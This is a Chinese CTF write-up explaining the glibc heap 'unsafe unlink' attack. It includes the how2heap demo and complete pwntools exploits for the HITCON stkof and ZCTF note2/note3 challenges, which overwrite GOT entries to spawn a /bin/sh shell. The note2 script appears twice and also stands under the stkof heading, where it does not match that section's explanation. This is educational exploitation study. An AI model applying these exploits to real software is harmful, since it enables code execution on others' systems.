PWN：unsafe unlink

admin

104267
文章

87
评论

2020年8月16日17:58:50评论195 views字数 9335阅读31分7秒阅读模式

本文为看雪论坛精华文章

看雪论坛作者ID：yichen115

主要是内存布局好之后，通过 unlink 来修改指针。

正常的 unlink 是当我们去 free 一个 chunk 的时候，如果这个 chunk 的前一个或后一个是 free 的状态，glibc 会把它从链表里面取出来，与现在要 free 的这个合并再放进去，取出来的这个过程就是 unlink。

wiki 上面的一个示意图，Fd 是前置指针，Bk 是后置指针：

ulink 有一个保护检查机制，他会检查这个 chunk 的前一个 chunk 的 bk 指针是不是指向这个 chunk（后一个也一样）我们需要绕过他的检查。

how2heap 这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的，即 unsafe unlink。

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <stdint.h>uint64_t *chunk0_ptr;int main() {    int malloc_size = 0x80; // not fastbins    int header_size = 2;    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1    fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %pn", &chunk0_ptr, chunk0_ptr);    fprintf(stderr, "The victim chunk we are going to corrupt is at %pnn", chunk1_ptr);    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);    fprintf(stderr, "Fake chunk fd: %pn", (void*) chunk0_ptr[2]);    fprintf(stderr, "Fake chunk bk: %pnn", (void*) chunk0_ptr[3]);    uint64_t *chunk1_hdr = chunk1_ptr - header_size;    chunk1_hdr[0] = malloc_size;    chunk1_hdr[1] &= ~1;    free(chunk1_ptr);    char victim_string[9];    strcpy(victim_string, "AAAAAAAA");    chunk0_ptr[3] = (uint64_t) victim_string;    fprintf(stderr, "Original value: %sn", victim_string);    chunk0_ptr[0] = 0x4242424242424242LL;    fprintf(stderr, "New Value: %sn", victim_string);}

ulink 有一个保护检查机制，他会检查这个 chunk 的前一个 chunk 的 bk 指针是不是指向这个 chunk（后一个也一样）。

先在 main 函数上设置一个断点，然后单步走一下，走到第 13 行（不包括）

我们来看一下，申请了两个堆之后的情况：

上面说的那个检查 fd/bk 指针是通过 chunk 头部的相对地址来找的，我们可以用全局指针 chunk0_ptr 构造一个假的 chunk 来绕过。

再单步走到第 20 行（不包括）：

这两行代码做了个减法，使得从这个地方数起来正好可以数到我们伪造的哪一个 fake chunk：

chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);

chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

上面那个图没对齐，用文本来解释一下：

gdb-peda$ x/4gx 0x00000000006010580x601058: 0x0000000000000000   0x00007ffff7dd25400x601068: 0x0000000000000000   0x0000000000602010
0x601058是我们伪造的那个堆块的fd指针,在这里可以看到它的bk指针指向的是0x602010
gdb-peda$ x/4gx 0x00000000006010600x601060: 0x00007ffff7dd2540   0x00000000000000000x601070: 0x0000000000602010   0x0000000000000000
0x601060是我们伪造的那个堆块的bk指针,在这里可以看到它的fd指针指向的是0x602010

我们的 fake chunk 的 fd 指向 0x601058 然后 0x601058 的 bk 指向 0x601070。

fake chunk 的 bk 指向 0x601060 然后 0x601060 的 fd 指向 0x601070，可以保证前后都指向我们伪造的这个 chunk，完美！

另外我们利用 chunk0 的溢出来修改 chunk1 的 prev_size 为 fake chunk 的大小，修改 PREV_INUSE 标志位为 0，将 fake chunk 伪造成一个 free chunk。

接下来释放掉 chunk1 因为 fake chunk 和 chunk1 是相邻的一个 free chunk，所以会将他两个合并，这就需要对 fake chunk 进行 unlink，进行如下操作：

FD = P->fd

BK = P->bk

FD->bk = BK

BK->fd = FD

通过前面的赋值操作：

P->fd = &P - 3 * size(int)

P->bk = &P - 2 * size(int)

也就是说：FD = &P - 3 * size(int)，BK = &P - 2 * size(int)。

FD->bk 按照偏移寻址，就是 FD+3*size(int) 也就等于 &P，FD->bk = P，同理 BK->fd = P。

这样执行下来，最终实现的效果是 P = &P - 3 * size(int)。

也就是说，chunk0_ptr 和 chunk0_ptr[3] 现在指向的是同一个地址：

2014 HITCON stkof

这个师傅注释很详细，帮了大忙，下面也是根据这个 exp 复现的：

https://blog.csdn.net/weixin_42151611/article/details/97016767

完整 exp：

# coding=UTF-8from pwn import *context.log_level = 'debug'p = process('./note2')note2 = ELF('./note2')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')context.log_level = 'debug'
def create(length, content):    p.recvuntil('option--->>')    p.sendline('1')    p.recvuntil('(less than 128)')    p.sendline(str(length))    p.recvuntil('content:')    p.sendline(content)
def show(id):    p.recvuntil('option--->>')    p.sendline('2')    p.recvuntil('note:')    p.sendline(str(id))
def edit(id, choice, s):    p.recvuntil('option--->>')    p.sendline('3')    p.recvuntil('note:')    p.sendline(str(id))    p.recvuntil('2.append]')    p.sendline(str(choice))    p.sendline(s)
def delete(id):    p.recvuntil('option--->>')    p.sendline('4')    p.recvuntil('note:')    p.sendline(str(id))
p.sendlineafter('name:','yichen')p.sendlineafter('address:','yichen')
ptr=0x602120payload='a'*8+p64(0x61)+p64(ptr-0x18)+p64(ptr-0x10)+'a'*64+p64(0x60)create(0x80,payload)
create(0,'a'*16)create(0x80,'a'*16)
delete(1)content='a'*16+p64(0xa0)+p64(0x90)create(0,content)
delete(2)
atoi_got = note2.got['atoi']content = 'a' * 0x18 + p64(atoi_got)edit(0, 1, content)show(0)atoi_addr = u64(p.recvuntil('x7f')[-6:].ljust(8, 'x00'))
atoi_offest = libc.symbols['atoi']libcbase = atoi_addr - atoi_offestsystem_offest = libc.symbols['system']system_addr = libcbase + system_offest
content = p64(system_addr)edit(0, 1, content)
p.recvuntil('option--->>')p.sendline('/bin/sh')p.interactive()

运行连个菜单都不给...

把名字改一下：

create 功能，输入一个 size，然后申请 size 大小的堆块：

会把申请的堆块的地址写到这里（并不是，是 s[1]，因为先 ++ 了）：

edit 功能，编辑已经创建好的堆块，但是没有对长度进行检查，所以存在堆溢出：

wp 说没有 setbuf，会先申请 1024 的堆空间？？

要先提前申请个 chunk 来防止他们干扰？？

怎么就能防止干扰了？？

其实只要先申请一个，让程序把两个缓冲区分配好了，别后面插在我们申请的两个之间就可以吧。

黄色指的是提前申请的一个用来占空的。两个白色是缓冲区占用的，这样后面再申请就连起来了。

这时候来改写第 2 个（从 1 开始计数）伪造一个 free 的 chunk（黄线分割了第 2 和第 3 个）：

payload 如下：

payload = p64(0)+p64(0x20)+p64(head+16-0x18)+p64(head+16-0x10)+p64(0x20)payload = payload.ljust(0x30,'a')payload += p64(0x30)+p64(0x90)

这样填充完了就是这样的，在原本第 2 个 chunk 里面伪造了一个 free 的 chunk，大小是 0x20，然后把 fd 跟 bk 指针写为了 p64(head+16-0x18) 和 p64(head+16-0x10)。同时把下一个堆块的 prev_size 位写成了 0x30（前一个 chunk 加上开头的大小），以及 size 位的 prev_inuse 为 0。

这样，对第 3 个进行 free 的时候会发生 unlink，head + 16 与 head +16 -0x18。

那么最终的效果就是我们编辑第二个的时候就是编辑的 head + 16 - 0x18，也就是 0x602138：

那么：

payload = p64(0)+p64(free_got)+p64(puts_got)+p64(atoi_got)edit(2,len(payload),payload)

因为此时的第二块指的是head-8，所以首先要填充8位，然后修改s[0]=free_got，s[1]=puts_got，s[2]=atoi_got。

修改完之后：

这时候去修改第 0 个，修改的就是 0x602018 也就是 free 的 got 表项，改成 puts_plt，之后再调用 free 函数的时候就会调用 puts 了：

payload = p64(puts_plt)edit(0,len(payload),payload)

那么 free(1) 的话就相当于 puts 了 puts 的 got 也就得到了 puts 函数的真实地址，从而可以用来计算 libc。

算出 libc 的基址就能得到 system 函数的地址，然后通过编辑第 2 个再把 atoi 改成 system 的地址：

payload = p64(sys_addr)edit(2,len(payload),payload)

因为输入的时候就是往 atoi 中输入的，所以直接 sendline("/bin/sh") 就可以达到 system("/bin/sh") 的效果。

2016 ZCTF note2

exp：

# coding=UTF-8from pwn import *context.log_level = 'debug'p = process('./note2')note2 = ELF('./note2')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')context.log_level = 'debug'
def create(length, content):    p.recvuntil('option--->>')    p.sendline('1')    p.recvuntil('(less than 128)')    p.sendline(str(length))    p.recvuntil('content:')    p.sendline(content)
def show(id):    p.recvuntil('option--->>')    p.sendline('2')    p.recvuntil('note:')    p.sendline(str(id))
def edit(id, choice, s):    p.recvuntil('option--->>')    p.sendline('3')    p.recvuntil('note:')    p.sendline(str(id))    p.recvuntil('2.append]')    p.sendline(str(choice))    p.sendline(s)
def delete(id):    p.recvuntil('option--->>')    p.sendline('4')    p.recvuntil('note:')    p.sendline(str(id))
p.sendlineafter('name:','yichen')p.sendlineafter('address:','yichen')
ptr=0x602120payload='a'*8+p64(0x61)+p64(ptr-0x18)+p64(ptr-0x10)+'a'*64+p64(0x60)create(0x80,payload)
create(0,'a'*16)create(0x80,'a'*16)
delete(1)content='a'*16+p64(0xa0)+p64(0x90)create(0,content)
delete(2)
atoi_got = note2.got['atoi']content = 'a' * 0x18 + p64(atoi_got)edit(0, 1, content)show(0)atoi_addr = u64(p.recvuntil('x7f')[-6:].ljust(8, 'x00'))
atoi_offest = libc.symbols['atoi']libcbase = atoi_addr - atoi_offestsystem_offest = libc.symbols['system']system_addr = libcbase + system_offest
content = p64(system_addr)edit(0, 1, content)
p.recvuntil('option--->>')p.sendline('/bin/sh')p.interactive()

程序功能如下：

申请的内容会放到 &ptr+dword_602160 这里，总共只能申请 3 个：

首先，申请的时候有一个 0x0 的，但是要有个 chunk 头和记录 fd、bk 的地方，所以实际分配的是 0x20。

第 0 个写入的内容中构造了一个 fake chunk，大小是 0x50，它的 fd、bk 是 ptr - 0x18 和 ptr - 0x10。

但是下一个的 chunk 的 prev_size 我们没法改变，那么之前申请的那个 0x0 的第 1 个就派上用场了，首先把申请的第 1 个给释放掉，因为是 fastbin 所以我们再次申请 0x0 大小的时候还是会申请到这个地方，而同时，因为 i 是一个无符号型的，我们输入的 0-1 就会变成一个很大的数，所以我们可以写很多的内容，从而覆盖掉后一个 chunk 给他改写掉。

其中 i 是 unsigned 类型，a2 为 int 类型，所以两者在 for 循环相比较的时候，a2-1 的结果 - 1 会被视为 unsigned 类型，此时，即最大的整数。所以说可以读取任意长度的数据，这里也就是后面我们溢出所使用的办法。

这里我想在开始就改写，但是不行，原因大概是一开始下面的那个 chunk 没有申请，溢出的那块地址没法写入？

所以先把第 1 个释放掉，再申请回来。

delete(1)content='a'*16+p64(0xa0)+p64(0x90)create(0,content)

PWN：unsafe unlink

之后再去释放第 2 个，就会把第 0 个构造的 fake chunk 给 unlink。

unlink 之后的结果就是 ptr = ptr-0x18。

现在修改第 0 个就是修改的 ptr-0x18，所以我们先写上 0x18 个 a 占空，然后写上 atoi 的 got 表项，这样使用 show 功能的时候就会 show atoi 的 got 表项的内容：

atoi_got = note2.got['atoi']content = 'a' * 0x18 + p64(atoi_got)editnote(0, 1, content)

然后根据得到的 atoi 的地址来算出 system 的地址。

因为此时 ptr 指向的是 atoi 的 got 表项，所以我们直接编辑第 0 个就可以把 atoi 的 got 表项改成 system 的地址。

至于为啥是 atoi他接收 option 输入的时候用的是 atoi 函数

2016 ZCTF note3

show 功能没了。

申请的 malloc 的地址会存在 ptr=0x6020C8：

再编辑的时候如果大小是 0 的话，照样会变成一个很大的数字，所以存在堆溢出：

一开始申请三个 chunk（index 从 0 开始），第一个里面直接构造一个 fake chunk：

然后先把第 1 个 delete，然后在申请回来就能通过负数来获得一个很大的 size。

把第 2 个给改掉，这样当 delete 的时候就能进行 unlink，这样 ptr 就等于 ptr-0x18 了。

然后就能通过写第 0 个来改变 ptr-0x18 处的内容：

payload3 = 'a'*0x18 + p64(free_got) + p64(puts_got)edit(0,payload3)edit(0,p64(puts_plt)[:-1])delete(1)

注意这里的 [:-1] 由于 p64 总共 8 个字节，如果不加上 [:-1] 会由于 sendline 最后的 n 覆盖掉与它紧邻位置的数据。而为什么能使用 [:-1]? 可以输出 hex(p64(puts_plt)) 试一下，会发现它是 0x0000xxxxxxxxxx 的形式，前面会有至少 2 个 00，再加上小端序的问题，我们就相当于丢掉了开头的 2 个 00，这样并不会产生太大影响，最主要的是我们保护了与它紧邻的数据。

http://liul14n.top/2020/02/06/Unlink-ZCTF-2016-note3/

这样就能泄露出 puts 的真实地址，然后计算出 system 的地址，这时候再去申请一个，会发现他是第 1 个：

那么把 free 的 got 表项改成 system，就能执行 system("/bin/sh")：

from pwn import *p=process('./note3')elf=ELF('./note3')libc=ELF('./libc.so.6') def cmd(choice):  p.sendlineafter('option--->>n',str(choice)) def create(size,content):  cmd(1)  p.sendlineafter('1024)n',str(size))  p.sendlineafter('content:n',content)   def edit(index,content):  cmd(3)  p.sendlineafter('note:n',str(index))  p.sendlineafter('content:n',content)   def delete(index):  cmd(4)  p.sendlineafter('note:n',str(index)) ptr=0x6020C8fake_chunk='a'*8+p64(0xa1)+p64(ptr-0x18)+p64(ptr-0x10)create(0x80,fake_chunk)create(0,'123')create(0x80,'writeup') delete(1)payload='a'*0x10 + p64(0xa0) + p64(0x90)create(0,payload)delete(2) puts_got = elf.got["puts"]puts_plt = elf.plt["puts"]free_got = elf.got["free"]system = libc.symbols['system']puts = libc.symbols['puts']payload3 = 'a'*0x18 + p64(free_got) + p64(puts_got)edit(0,payload3) edit(0,p64(puts_plt)[:-1])delete(1) puts_addr = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))create(0x20,'/bin/sh0') libcbase = puts_addr - putssystem_addr = libcbase + systemedit(0,p64(system_addr)[:-1])delete(1)p.interactive()